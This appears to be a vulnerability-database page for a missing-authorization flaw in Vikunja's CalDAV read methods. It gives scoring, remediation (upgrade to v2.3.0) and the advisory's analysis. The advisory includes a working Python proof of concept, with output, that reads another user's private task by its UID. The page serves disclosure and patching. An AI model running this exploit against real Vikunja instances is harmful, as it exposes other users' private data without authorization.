EUVD-2026-21425
GHSA-48ch-p4gq-x46x
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 4.3 (Network, Low Complexity, Low Privileges, User Interaction None, Confidentiality Low) represents a low-to-moderate severity issue from a scored perspective, but real-world risk is elevated by several factors. The vulnerability requires authentication (PR:L), eliminating anonymous attack vectors, but is trivially exploitable once an attacker has CalDAV credentials (AC:L). Exploitation probability via EPSS would likely be moderate given that task UIDs, while UUIDv4, are exposed in multiple contexts: CalDAV resource paths in shared calendar URLs, client synchronization logs, and shared calendar contexts-enumeration is not trivial but UIDs are discoverable through legitimate means. The attack is fully automatable (no user interaction required) and requires no special network position. The technical impact is limited to confidentiality breach (no integrity or availability impact); however, in multi-tenant SaaS deployments this crosses organizational/project boundaries, elevating business risk. The inconsistency between REST API authorization (correctly returns 403) and CalDAV authorization (returns 200) indicates this is not a designed bypass but a genuine implementation gap. Compared to remote code execution or authentication bypass CVEs, this is lower severity, but for task/project management systems handling sensitive planning data, confidentiality of all task details across the instance is a meaningful exposure. |
| Exploit ScenarioDerived | An authenticated CalDAV user (Bob) who has legitimate access to project calendars obtains a task UID from Alice's private project through shared calendar sync logs or a leaked calendar URL. Bob crafts a CalDAV GET request to /dav/projects/{any_project_id}/{alice_task_uid}.ics using his CalDAV token, bypassing the project ID in the URL path. The server returns the full task resource (VCALENDAR format) with sensitive metadata-in the PoC, Alice's task titled 'Secret CEO salary 500k'-which Bob's REST API requests would have been correctly denied for (403 Forbidden). No special network position or user interaction is required; the attacker only needs knowledge of a task UID and CalDAV credentials. Publicly available exploit code exists in the form of the Python PoC embedded in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 10, 2026
Vikunja task authorization bypass in CalDAV allows authenticated users to read arbitrary task details from any project by knowing a task UID, bypassing REST API permission checks. The GetResource and GetResourcesByList CalDAV methods query tasks by UID without verifying the authenticated user has project access, enabling information disclosure of task titles, descriptions, due dates, and other metadata across organizational boundaries in multi-tenant deployments. Patch available in v2.3.0.
RemediationAI
Upgrade to Vikunja v2.3.0 or later, which includes the authorization fix in PR #2579 (commit 879462d717351fe5d276ddec5246bdec31b41661). The vendor-released patch adds a CanRead permission check on each task's project in both GetResource and GetResourcesByList CalDAV methods before returning task data. If immediate upgrade is not feasible, disable CalDAV access for unprivileged users as a temporary mitigation, though this requires architectural changes to Vikunja's user and authentication management. See the GitHub security advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-48ch-p4gq-x46x for full details and the release at https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in Vikunja's CalDAV implementation, specifically in the GetTasksByUIDs function (pkg/models/tasks.go:376-393) which accepts a web.Auth parameter but never uses it for permission filtering when querying the database. The function is called by CalDAV GET and REPORT operations (pkg/routes/caldav/listStorageProvider.go) which fetch task resources by UID without enforcing authorization checks that exist in other CalDAV operations (CreateResource, UpdateResource, DeleteResource all verify permissions via CanCreate/CanUpdate/CanDelete). The root cause is improper authorization control (CWE-862) where the authenticated user context is available but not applied to authorization decisions. The project ID in the CalDAV URL path is ignored during the lookup, allowing requests to any project path to return tasks from other projects if the UID is known. This is a Go-based application using xorm for database access, and affects the code.vikunja.io/api package.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Primary rating from Vendor (https://github.com/go-vikunja/vikunja).
CVSS VectorVendor: https://github.com/go-vikunja/vikunja
Lifecycle Timeline
2DescriptionCVE.org
Summary
The CalDAV GetResource and GetResourcesByList methods fetch tasks by UID from the database without verifying that the authenticated user has access to the task's project. Any authenticated CalDAV user who knows (or guesses) a task UID can read the full task data from any project on the instance.
Details
GetTasksByUIDs at pkg/models/tasks.go:376-393 performs a global database query with no authorization check:
func GetTasksByUIDs(s *xorm.Session, uids []string, a web.Auth) (tasks []*Task, err error) {
tasks = []*Task{}
err = s.In("uid", uids).Find(&tasks)
// ...
}The web.Auth parameter is accepted but never used for permission filtering. This function is called by:
GetResourceatpkg/routes/caldav/listStorageProvider.go:266(CalDAV GET)GetResourcesByListatpkg/routes/caldav/listStorageProvider.go:199(CalDAV REPORT multiget)
All other CalDAV operations enforce authorization: CreateResource checks CanCreate(), UpdateResource checks CanUpdate(), DeleteResource checks CanDelete(). Only the read operations skip authorization.
The project ID in the CalDAV URL is ignored. A request to /dav/projects/{attacker_project}/{victim_task_uid}.ics returns the victim's task regardless of which project ID is in the path.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
alice_token = login("alice", "Alice1234!")
bob_token = login("bob", "Bob12345!")
# alice creates private project and task
proj = requests.put(f"{API}/projects", headers=h(alice_token),
json={"title": "Private"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(alice_token),
json={"title": "Secret CEO salary 500k"}).json()
# task UID must be set (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='test-uid-001' WHERE id={task['id']};"
TASK_UID = "test-uid-001"
# bob tries REST API
r = requests.get(f"{API}/tasks/{task['id']}", headers=h(bob_token))
print(f"REST API: {r.status_code}")
# 403
# bob gets CalDAV token
caldav_token = requests.put(f"{API}/user/settings/token/caldav",
headers=h(bob_token)).json()["token"]
# bob reads alice's task via CalDAV (project ID in URL doesn't matter)
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
auth=HTTPBasicAuth("bob", caldav_token))
print(f"CalDAV: {r.status_code}")
# 200
print(r.text)
# contains SUMMARY:Secret CEO salary 500kOutput:
REST API: 403
CalDAV: 200
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:test-uid-001
SUMMARY:Secret CEO salary 500k
DUE:20260401T000000Z
END:VTODO
END:VCALENDARThe REST API correctly returns 403, but CalDAV leaks the full task. The project ID in the CalDAV URL is ignored - bob can also use his own project ID and still get alice's task.
Impact
An authenticated CalDAV user who obtains a task UID (from shared calendar URLs, client sync logs, or enumeration) can read the full task details from any project in the instance, regardless of their access rights. This includes titles, descriptions, due dates, priority, labels, and reminders. In multi-tenant deployments, this exposes data across organizational boundaries.
Task UIDs are UUIDv4 and not trivially enumerable, but they are exposed in CalDAV resource paths, client synchronization logs, and shared calendar contexts.
Recommended Fix
Add a CanRead permission check on each returned task's project in both GetResource and GetResourcesByList:
tasks, err := models.GetTasksByUIDs(s, []string{vcls.task.UID}, vcls.user)
// ...
for _, t := range tasks {
project := &models.Project{ID: t.ProjectID}
can, _, err := project.CanRead(s, vcls.user)
if err != nil || !can {
return nil, false, errs.ForbiddenError
}
}--- *Found and reported by aisafe.io*
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Related Vulnerabilities in Vikunja Multiple Authorization and Injection
View all 11Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB